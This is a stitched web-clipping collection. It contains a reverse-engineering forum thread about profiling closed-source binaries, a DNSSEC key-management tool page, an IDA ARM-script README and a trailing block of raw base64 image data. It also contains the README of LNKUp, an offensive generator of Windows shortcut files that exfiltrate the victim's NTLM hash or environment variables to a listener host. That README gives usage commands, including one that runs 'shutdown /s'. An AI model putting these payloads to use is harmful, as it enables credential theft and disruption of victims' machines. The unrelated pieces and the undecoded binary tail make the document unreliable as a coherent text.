<img src='img/Temp2_3511.gif' alt='dELTA is offline' /> | <img src='img/Temp2_3509.gif' alt='Reply With Quote' />  
<img src='img/Temp2_3518.gif' alt='Old' /> 02-11-2008, 04:16 PM |  \#**4**  
---|---  
AimlessRegistered User  
<img src='img/Temp2_3510.gif' width='50' height='50' alt='Aimless's Avatar' />  
Join Date: Sep 2001 Posts: 520  | When you say profiler, are you talking about TIMING or about COVERAGE?  
  
I gather for most RCE purposes, COVERAGE is what we are talking about. If so,
IDA -> Debug -> Trace works as a "crude" profiler.  
  
Have Phun \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
Blame Microsoft, get l337 \!\!  
<img src='img/Temp2_3511.gif' alt='Aimless is offline' /> | <img src='img/Temp2_3509.gif' alt='Reply With Quote' />  
<img src='img/Temp2_3518.gif' alt='Old' /> 02-12-2008, 05:12 AM |  \#**5**  
---|---  
dELTAAdministrator  
<img src='img/Temp2_3512.gif' width='39' height='50' alt='dELTA's Avatar' />  
Join Date: Oct 2000 Location: Ring -1 Posts: 3,472 Blog Entries: 5 | As mentioned above, I'm talking about coverage + hit counters per basic code block, which in some ways I guess could be considered as, well... timing. <img src='img/Temp2_3520.gif' />  
  
The idea is to pinpoint:  

  1. First the exact code that was hit to begin with \(coverage\).
  2. Then how many times each code block was hit, in order to be able to differentiate the interesting code even more, e.g. in order to be able to pinpoint intensely used code blocks like crypto code inside loops, or the other way around, code that you know will only have been called once during a certain period of time\).

  
In the coverage step, filters like the ones in Paimei/pStalker are really
great and useful, I'd just like to combine this coverage functionality with
code block counters/timers too, see what I mean?  
  
Or the  _really_ short answer I guess: Timing <img src='img/Temp2_3515.gif' />
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
_"Give a man a quote from the FAQ, and he'll ignore it. Print the FAQ, shove
it up his ass, kick him in the balls, DDoS his ass and kick/ban him, and the
point usually gets through eventually."_  
<img src='img/Temp2_3511.gif' alt='dELTA is offline' /> | <img src='img/Temp2_3509.gif' alt='Reply With Quote' />  
<img src='img/Temp2_3518.gif' alt='Old' /> 02-12-2008, 06:53 AM |  \#**6**  
---|---  
dELTAAdministrator  
<img src='img/Temp2_3512.gif' width='39' height='50' alt='dELTA's Avatar' />  
Join Date: Oct 2000 Location: Ring -1 Posts: 3,472 Blog Entries: 5 | The following is a pure code coverage \(i.e. one break/logging per code basic block\) plugin for IDA, written by Ilfak:  
  
http://www.woodmann.com/collaborative/tools/index.php/CoverIt  
  
For the reasons mentioned in the the accompanying article
\(__http://www.hexblog.com/2006/03/coverage\_analyzer.html__\), it might not
be very easy to convert into the counter-logging kind though:  
  
Quote: | Originally Posted by **Ilfak** Since we do not have 'real' breakpoints that have to be kept intact after firing, the logic becomes very simple \(note that the most difficult part of breakpoint handling is resuming the program execution after it: you have to remove the breakpoint, single step, put the breakpoint back and resume the execution - and the debugged program can return something unexpected at any time, like an event from another thread or another exception\).   
---  
So please keep the tips coming for such a plugin/tool\!

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
_"Give a man a quote from the FAQ, and he'll ignore it. Print the FAQ, shove
it up his ass, kick him in the balls, DDoS his ass and kick/ban him, and the
point usually gets through eventually."_  
<img src='img/Temp2_3511.gif' alt='dELTA is offline' /> | <img src='img/Temp2_3509.gif' alt='Reply With Quote' />  
<img src='img/Temp2_3518.gif' alt='Old' /> 02-12-2008, 01:25 PM |  \#**7**  
---|---  
roocoonRegistered User  
Join Date: Apr 2003 Posts: 44  | If you're interested in non-free production tools, there's AutomatedQA'a AQTime, IBM's ProfilerPlus and a few more that aren't so mainstream.   
<img src='img/Temp2_3511.gif' alt='roocoon is offline' /> | <img src='img/Temp2_3509.gif' alt='Reply With Quote' />  
<img src='img/Temp2_3518.gif' alt='Old' /> 02-12-2008, 05:17 PM |  \#**8**  
---|---  
dELTAAdministrator  
<img src='img/Temp2_3512.gif' width='39' height='50' alt='dELTA's Avatar' />  
Join Date: Oct 2000 Location: Ring -1 Posts: 3,472 Blog Entries: 5 | Thanks for the tips roocoon\! I've actually looked at AQtime before, but didn't find any information at that point that indicated it would be good, or even useful, for programs that you don't have the source code for? Do you \(or anyone else\) know if it's useful for such a situation at all \(which is, as stated above, the main objective for my inquiry here\). While looking at it again now, I did find that it had some kind of "disassembler" feature, but nothing in that information really indicated that it was useful for profiling purposes, mostly looks to be for viewing assembly code at first glance \(__http://automatedqa.com/products/aqtime/images/aqtime5/disassembler\_panel.gif__\). But it is of course very possible that is **can** be useful for this too, just that they don't push it in the marketing material because most people aren't primarily interested in that.  
  
So, does anyone have experience with AQtime and can say if it's useful at all
for non-source code situations?  
  
About the IBM profiler, after starting to doubt my Google skills there for a
moment \(and being quite annoyed at Adobe for apparently choosing the same
name for their color calibration whatever thingy <img src='img/Temp2_3515.gif'
/>\), I finally concluded that it was rather you who had mistaken its name,
which should be "PurifyPlus" rather than "ProfilerPlus", and that in order to
make things even worse, it was not created by IBM, but rather by Rational, and
just included in the deal when Rational was acquired by IBM a while ago. <img
src='img/Temp2_3520.gif' />  
  
Anyway, I did at least find a well-hidden comment in the PurifyPlus marketing
material saying that it "does not require access to source code and can thus
be used with third-party libraries in addition to home-grown code", which
bodes well, even though I could not find anything more about this feature or
any related aspects at the moment.  
  
So, here too, does anyone have experience with IBM/Rational PurifyPlus, and
can say if it's useful at all for non-source code situations like the ones I
inquire?  
  
Also roocoon, I'd be glad to hear about all those other "not so mainstream"
profilers that you are referring to\! When it comes to our area of interest,
such tools can often very well be the best ones. <img src='img/Temp2_3520.gif'
/>  
  
Everyone else are of course still welcome to post any additional tips or
suggestions related to my initial inquiry too\!
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
_"Give a man a quote from the FAQ, and he'll ignore it. Print the FAQ, shove
it up his ass, kick him in the balls, DDoS his ass and kick/ban him, and the
point usually gets through eventually."_  
<img src='img/Temp2_3511.gif' alt='dELTA is offline' /> | <img src='img/Temp2_3509.gif' alt='Reply With Quote' />  
<img src='img/Temp2_3518.gif' alt='Old' /> 02-12-2008, 09:04 PM |  \#**9**  
---|---  
AimlessRegistered User  
<img src='img/Temp2_3510.gif' width='50' height='50' alt='Aimless's Avatar' />  
Join Date: Sep 2001 Posts: 520  | AQtime DOES NOT profile binary. At best, it takes the API dependencies... Ask someone who has tried it from its old v3. <img src='img/Temp2_3516.gif' />  
  
Intel VTune v5 USED to have PURE ASSEMBLER profiling \(Yeah\!\). However,
since v6, they mysteriously discarded that feature. Don't know why.  
  
Rational PurifyPlus NEEDS source code, OR an executable compiled in Visual
Studio with the profiling information on.  
  
Numega Truetime & Truecoverage \(same - need source code or just view the APIs
called\)...  
  
Have Phun. \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
Blame Microsoft, get l337 \!\!  
<img src='img/Temp2_3511.gif' alt='Aimless is offline' /> | <img src='img/Temp2_3509.gif' alt='Reply With Quote' />  
<img src='img/Temp2_3518.gif' alt='Old' /> 02-13-2008, 03:31 AM |  \#**10**  
---|---  
roocoonRegistered User  
Join Date: Apr 2003 Posts: 44  | Sorry for the mistake. PurifyPlus it is.  
  
I had a look at it and it needs debug information \(pdb, dbg, or map\). It run
against a file with no debug info in it but didn't produce any output.
\(Wasn't there something that produced a map file out of a program or my
memory starts failing?\)  
  
Aimless is right about AQTime. It needs source code.  
  
The others I had in mind were a couple of older programs.  
Turbopower's Sleuth QA \(now extinct but some libraries are available for free
- check at  __www.turbopower.com__\) also needed debug info.  
One of Parasoft's programs that I had come across 15+ years ago. Their newer
batches have some similar products like C++ Test but none of them is the one I
remember. It had a distinct ugly gray screen with a couple of buttons that
used to crash too often to be pleasant \(then again, it could have been my
patch <img src='img/Temp2_3520.gif' /> \). But that used to run with plain
binaries.  
Borland too has Gauntlet but I'm sure this will have the same requirements.  
  
I'll keep my eyes open.  
  
Take care all.  
<img src='img/Temp2_3511.gif' alt='roocoon is offline' /> | <img src='img/Temp2_3509.gif' alt='Reply With Quote' />  
<img src='img/Temp2_3518.gif' alt='Old' /> 02-13-2008, 06:48 AM |  \#**11**  
---|---  
dELTAAdministrator  
<img src='img/Temp2_3512.gif' width='39' height='50' alt='dELTA's Avatar' />  
Join Date: Oct 2000 Location: Ring -1 Posts: 3,472 Blog Entries: 5 | Thanks for all the useful info roocoon and Aimless\! <img src='img/Temp2_3521.gif' />  
  
And Aimless, do you think it's possible that Intel VTune or the Numega tools
\(nowadays rather being included in the group name "Compuware DevPartner
Studio"\) also can handle things as long as they have available debug
information \(which can often be arranged after the fact with e.g. IDA Pro\),
contrary to the need for real source code, just like in the case of
PurifyPlus?  
  
So far, it would seem like AMD CodeAnalyst Performance Analyzer
\(http://www.woodmann.com/collaborative/tools/index.php/CodeAnalyst\_Performance\_Analyzer\)
is our prime candidate for a reverser's profiler tool anyway\!?  
  
Admiral also confirmed above that CodeAnalyst works fine, by letting us know
he used it successfully to find crypto code in a bloated/complex target for
which he definitely didn't have any source code or debug symbols.  
  
Admiral, what version of CodeAnalyst was that? Is it possible that they also
removed the binary profiling features in their most recent releases, in this
seemingly widespread conspiracy to exterminate binary profiling? Luckily, the
statements on their website indicate that they might not have caught on to
that trend just yet, but it would be great with some confirmation anyway
Admiral\! \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
_"Give a man a quote from the FAQ, and he'll ignore it. Print the FAQ, shove
it up his ass, kick him in the balls, DDoS his ass and kick/ban him, and the
point usually gets through eventually."_  
<img src='img/Temp2_3511.gif' alt='dELTA is offline' /> | <img src='img/Temp2_3509.gif' alt='Reply With Quote' />  
<img src='img/Temp2_3518.gif' alt='Old' /> 02-13-2008, 10:20 PM |  \#**12**  
---|---  
tHE mUTABLERegistered User  
<img src='img/Temp2_3522.gif' width='50' height='50' alt='tHE mUTABLE's
Avatar' />  
Join Date: Sep 2005 Posts: 51  | I remember I've wrote something similar to that, just as a proof of concept for something I'd like to see in the RCE world. But, later on...<img src='img/Temp2_3517.gif' /> \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
The only reason for time is so that everything doesn't happen at once. \[A.
Einstein\]  
<img src='img/Temp2_3511.gif' alt='tHE mUTABLE is offline' /> | <img src='img/Temp2_3509.gif' alt='Reply With Quote' />  
<img src='img/Temp2_3518.gif' alt='Old' /> 02-14-2008, 04:42 AM |  \#**13**  
---|---  
dELTAAdministrator  
<img src='img/Temp2_3512.gif' width='39' height='50' alt='dELTA's Avatar' />  
Join Date: Oct 2000 Location: Ring -1 Posts: 3,472 Blog Entries: 5 | I'm not exactly sure what you mean by "but later on", but if there was ever a runnable result for that project, I'm sure many people here would be interested in seeing it, if possible? <img src='img/Temp2_3520.gif' /> \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
_"Give a man a quote from the FAQ, and he'll ignore it. Print the FAQ, shove
it up his ass, kick him in the balls, DDoS his ass and kick/ban him, and the
point usually gets through eventually."_  
<img src='img/Temp2_3511.gif' alt='dELTA is offline' /> | <img src='img/Temp2_3509.gif' alt='Reply With Quote' />  
<img src='img/Temp2_3518.gif' alt='Old' /> 02-14-2008, 11:17 AM |  \#**14**  
---|---  
tHE mUTABLERegistered User  
<img src='img/Temp2_3522.gif' width='50' height='50' alt='tHE mUTABLE's
Avatar' />  
Join Date: Sep 2005 Posts: 51  | Well, the problem is that this POC is part of a paper I wrote 7 months ago which is not published yet \(It's about proposing a new MDL for Asm in RCE\)... Please note, this POC is super dump but statefull and nothing special about it except It would be a breakthrough if I find something like that in the RCE community... \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
The only reason for time is so that everything doesn't happen at once. \[A.
Einstein\]

* * *
_Last edited by tHE mUTABLE; 02-14-2008 at 11:24 AM._  
<img src='img/Temp2_3511.gif' alt='tHE mUTABLE is offline' /> | <img src='img/Temp2_3509.gif' alt='Reply With Quote' />  
<img src='img/Temp2_3518.gif' alt='Old' /> 02-15-2008, 11:15 AM |  \#**15**  
---|---  
SirmabusRegistered User  
Join Date: Jun 2007 Posts: 32 Imported Blog Entries: 10 | \(PART 1\)  
Sounds like exactly along the same lines of ideas I've had too.  
And thanks for info here, some more avenues to investigate.  
  
I'll share my history and research on it.  
  
I thought one day about five years ago when playing with the memory hack
utility "TSearch" \(now of days it would be Cheat Engine, MHS, etc.\)  
that: "..wouldn't it be nice to have something for code as TSearch is to
data/memory?"  
  
Originally I was interested in just getting call hits and doing deleta
operations  
on them \(again like TSearch did using it's various filters\).  
An example: Messing around with MORPG games to make private bots for them.  
I found my self always trying to find particular functions in the client.  
Like the loot/pick function. If I could take before and after snapshots of
call hits, and applying delta filters, I thought I might be able to pinpoint
these functions with less work..  
  
See my blog post here for sort of an introduction of my research:  
__http://www.openrce.org/blog/view/838/Real\_Time\_Tracing__  
  
  
The first iteration I did a few years ago was to do the sort of the "break
point on every function" approach like Pedram Amini's "Process Stalker",
"CoverIt", etc.  
  
FIRST TRY:  
Meant to work in conjunction IDA, you had to first run a script that would go
through the DB and create a simple list of every single function entry point.  
The working components consisted of a GUI front end, that injected a service
DLL into the target. I put either a JMP5 hook, or int3 hook on every function
from the IDA list. This requires the creation of automatic stubs/detours for
every function.  
I would analyze the entry points and put a JMP5 where possible \(5 bytes
open\), or a single byte int3 if there wasn't enough room . The int3 hooks had
stubs too, to avoid the restore-single step-replace cycle. As long as the hook
stubs were align16 and the majority of the hooks were JMP then it's very fast
and makes for a real time tool.  
  
If you try to do this thing in a debugger, and, or using the OS debug API's
only the most simplest processes would work. Those functions \(do to the OS
IPC, and all the layers\) are just to slow to use real time. With a DLL in the
same process space I could maximize the speed since it's sharing the
process'es space. The real acid test to try a multi-threaded resource hogging
process like a video game, etc.  
  
This BP on every approach works fairly well, but IMHO has too many problems to
make it generically useful \(as a tool\). Mainly there are too many errors in
trying to find every single function entry point. While IDA may typically find
correctly 90% of them, it will either miss many entirely, or create functions
at the wrong boundaries.  
I'm not knocking IDA, I'm pretty sure the problem exists with any disassembler
trying to find function boundaries. I considered doing runtime analysis \(like
Olly does\) but I'm sure one will run into the same issue. Depends on the
executable it's self, what language, what compiler used, etc. And after all,
while there might be conventions in higher level languages on an actual
function definition, there isn't one for binary code \(AFAIK\). In particular
if you turn on full function link compile in compilers, take a look at the
disassembly. You might find all kinds of disjointed functions. Half of
something here, the other half in another place.  
At best you could find most of them, but not all no matter how good the
analyzer IMHO.  
  
To get this method to work, I had to spend a lot of time hand fixing either
the functions in IDA, and or, editing the function list to get it to work and
not crash all the time \(mostly because of bad/wrong entry points\).  
Also another downside of this is that it requires code modification. Most of
the time not a problem, you could could shadow the code space to hide this,
etc., but not ideal.  
  
\(continued in PART 2\)

# DNSSEC stuff

**Created:**| _7/30/2009 5:53:56 PM_  
---|---  
**Updated:**| _7/30/2009 5:54:22 PM_  
**Author:**| __  
**Tags:**| _setup DNS censorship_  
  

## DNSSEC Zone Key Tool

ZKT is a tool to manage keys and signatures for DNSSEC-zones. The Zone Key
Tool consist of two commands:

  *   * `dnssec-zkt` to create and list dnssec zone keys and
  * `dnssec-signer` to sign a zone and manage the lifetime of the zone signing keys

Both commands are simple wrapper commands around the dnssec-keygen\(8\) and
dnssec-signzone\(8\) commands provided by BIND 9.3/9.4/9.5.  
They are designed to solve some \(especially my\) problems in maintaining a
few dnssec aware zones. Before any use of the Zone Key Tools it’s highly
recommended to read the following documents:

  *   * DNSSEC Howto by Olaf Kolkman, NLnetlabs
  * RFC4641 DNSSEC Operational Practices by Olaf Kolkman and Miek Gieben
  * The How to secure your zone presentation gives an overview about the steps required for signing a zone, and a very short introduction in the usage of the zone key tool.
  * If you are interested in some more details about the Zone Key Tool please have a look at the presentation held at .SE

There are some minor requirements if you want to use the `dnssec-signer`
command for automated key management and signing of your zone:

  *   * Every zone config has to be in a separate directory, named just like the zone
  * The SOA-Record have to be written in a special format \(see zonedir/example.net/zone.db\)   
This is not a requirement if you are using a BIND version of 9.4 \(or
greater\) in conjunction with the unixtime soa serial format \(see option
"Serialformat" in thednssec.conf file\)

  * The `dnssec-signer` command must be called at least every resigning interval \(best done with a small script run by cron\(8\)\)
  * An automated KSK rollover is done if the parent zone is on the same host and a hierarchical directory structure is used. Otherwise the KSK rollover procedure is working in a semi-automated fashion \(use `dnssec-zkt --ksk-rollover` for that\)
  * All the state about keys, time of resigning and so on, will be stored in the filesystem. There is no online checking or any other form of alignment with the published keys.
  * Support of views is still experimental

The dnssec-zkt command is not primary designed for environments with many
secure zones. However, some tests with round about 12000 zones, stored in a
two level directory structure \(zonedir/<firstletter>/<domain>\) shows that
this could be a working scenario. I did some perfomance improvements and
change the internal data structure of the ’dnssec-zkt’ command from a single
linked list to a binary tree to speed things up.

There is an intro about ZKT \(0.96\) compilation and initial setup on the .SE
website.

The source code of ZKT stands under the BSD License.

## Manpages

  *   * dnssec-zkt\(8\) html / pdf
  * dnssec-signer\(8\) html / pdf

Both commands use the dnssec.conf config file.

## Mailing List

Here you can subscribe to the zkt users mailing list.

Browse the archives of zkt-users.

## Download

You can download the software at sourceforge or at the following links:

  *   * zkt-0.98.tar \(28. Dec 2008\) Support of the new BIND 9.6.0 features NSEC3 and dynamic zone signing
  * zkt-0.97.tar \(5. Aug 2008\) Licence changed to BSD; Compressed tar file; Use of configure for compile time config settings; automated KSK rollover
  * zkt-0.96.tar \(19. June 2008\) Better \(error\) logging; Support of RFC5011
  * zkt-0.95.tar \(19. Apr 2008\) Not public released
  * zkt-0.94.tar \(6. Dec 2007\) Support of views
  * zkt-0.93.tar \(1. Nov 2007\) Basic support of revoke bit; KSK registration disabled by default; New command dnssec-soaserial added
  * zkt-0.92.tar \(1. Oct 2007\) Unixtime serial number support
  * zkt-0.91.tar \(1. Apr 2007\) ksk-rollover added to dnssec-zkt; Experimental support of dynamic zones
  * zkt-0.90.tar \(6. Dec 2006\) Automatic zsk rollover added; Long opt support
  * zkt-0.70.tar \(11. Sep 2005\) btree support added
  * zkt-0.5.tar \(1. Apr 2005\) First public release

For FreeBSD users there is a port available at the zkt port maintainer site or
via the official FreeBSD ports repository.  
\(Thanks to Frank Behrens for maintaining the port\)

OpenBSD users will find a port at openports.se  
\(Thanks to Jakob Schlyter for maintaining the port\)

ZKT is also contributed with the BIND source code since BIND 9.6.0a1

## Links

  *   * A list of already signed zones is monitored by the SecSpider Project
  * The IANA Signed Root testbed and the sample BIND config to use it
  * Secure DNS related RFCs, Drafts and other useful Documents
  * BIND 9.4 Administrator Reference Manual.
  * DNSSEC Howto by Olaf Kolkman, Nlnetlabs
  * DNSSEC Operational Practices by Olaf Kolkman and Miek Gieben
  * Automated Updates of DNS Security \(DNSSEC\) Trust Anchors by Michael StJohns
  * DNSSEC Explained \(in German\)
  * How to secure your zone A brief introduction in using the zone key tools.
  * ldns\(3\) A library for dnssec zone handling
  * unbound\(8\) A dnssec aware caching resolver
  * drill\(1\) A dig\(1\) like dnssec debug/query tool
  * autotrust\(1\) A utility to track DNSSEC trust anchor

# Plazmaz/LNKUp

**Created:**| _9/4/2017 9:29:20 AM_  
---|---  
**Updated:**| _9/4/2017 9:29:20 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

# LNKUp

## LNK Data exfiltration payload generator

This tool will allow you to generate LNK payloads. Upon rendering or being
run, they will exfiltrate data.

## Info

**I am not responsible for any actions you take with this tool\!**  
You can contact me with any questions by opening an issue, or via my Twitter,
@Plazmaz.

## Known gotchas

  * This tool will not work on OSX or Linux machines. It is specifically designed to target windows.
  * There may be issues with icon caching in some situations. If your payload doesn't execute after the first time, try regenerating it.
  * You will need to run a responder or metasploit module server to capture NTLM hashes.
  * To capture environment variables, you'll need to run a webserver like apache, nginx, or even just this

## Installation

Install requirements using  
` pip install -r requirements.txt `

## Usage

#### Payload types:

  * NTLM 
    * Steals the user's NTLM hash when rendered.
    * Needs listener server such as this metasploit module
    * More on NTLM hashes leaking: https://dylankatz.com/NTLM-Hashes-Microsoft's-Ancient-Design-Flaw/
    * Example usage:  
` lnkup.py --host localhost --type ntlm --output out.lnk `

  * Environment 
    * Steals the user's environment variables.
    * Examples: %PATH%, %USERNAME%, etc
    * Requires variables to be set using --vars
    * Example usage:  
` lnkup.py --host localhost --type environment --vars PATH USERNAME JAVA_HOME
--output out.lnk `

#### Extra:

  * Use ` --execute ` to specify a command to run when the shortcut is double clicked 
    * Example:  
` lnkup.py --host localhost --type ntlm --output out.lnk --execute "shutdown
/s" `

  

# gdelugre/ida-arm-system-highlight

**Created:**| _9/4/2017 9:20:13 AM_  
---|---  
**Updated:**| _9/4/2017 9:20:13 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

IDA script for highlighting and decoding ARM system instructions

ida-pro  python  script  arm

  * 39  commits 
  * 1  branch 
  * 0  releases 
  * 1  contributor 
  * MIT 

  1. Python 100.0%

Python

Upload files  Find file

New pull request

Latest commit  2d54ef8  16 days ago <img
src='0f5e6c828aacb5adcc280eca2127233c' width='20' height='20' /> Guillaume
Delugré script: support for ARMv8.3 system registers

|  img |  img: screenshot of decoded fields |  3 months ago  
---|---|---|---  
|  LICENSE |  Initial commit |  4 months ago  
|  README.md |  README: include screenshot of decoded fields |  3 months ago  
|  highlight\_arm\_system\_insn.py |  script: support for ARMv8.3 system registers |  16 days ago  
###  README.md

## Decoding ARM system instructions

This script will give you the list of ARM system instructions used in your IDA
database. This is useful for locating specific low-level pieces of code
\(setting up the MMU, caches, fault handlers, etc.\).

One hassle of reverse engineering low-level ARM code is that IDA Pro does not
decode the internal registers accessed by co-processor instructions \(` MCR
`/` MRC ` and ` MSR `/` MRS ` on AArch64\).

After applying the script, the system registers accessed will be automatically
commented in the database, as defined in the official ARM reference manuals.

<img src='2774978fb7e70bedc473ab6aac18a98f' width='804' height='245'
alt='AArch32 decoding' /> <img src='6456ccb1ad812ee2109768ffe793fdda'
width='888' height='238' alt='AArch64 decoding' />

The script will also try to automatically detect the accessed fields for some
registers:

<img src='a2986e1802ef62e039824c1da39b883f' width='742' height='146'
alt='Field decoding' />

## Usage

` Alt-F7 ` in IDA Pro, then run the script on your open database.

## Compatibility

Should work with ARMv7 and ARMv8 processors.

  

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
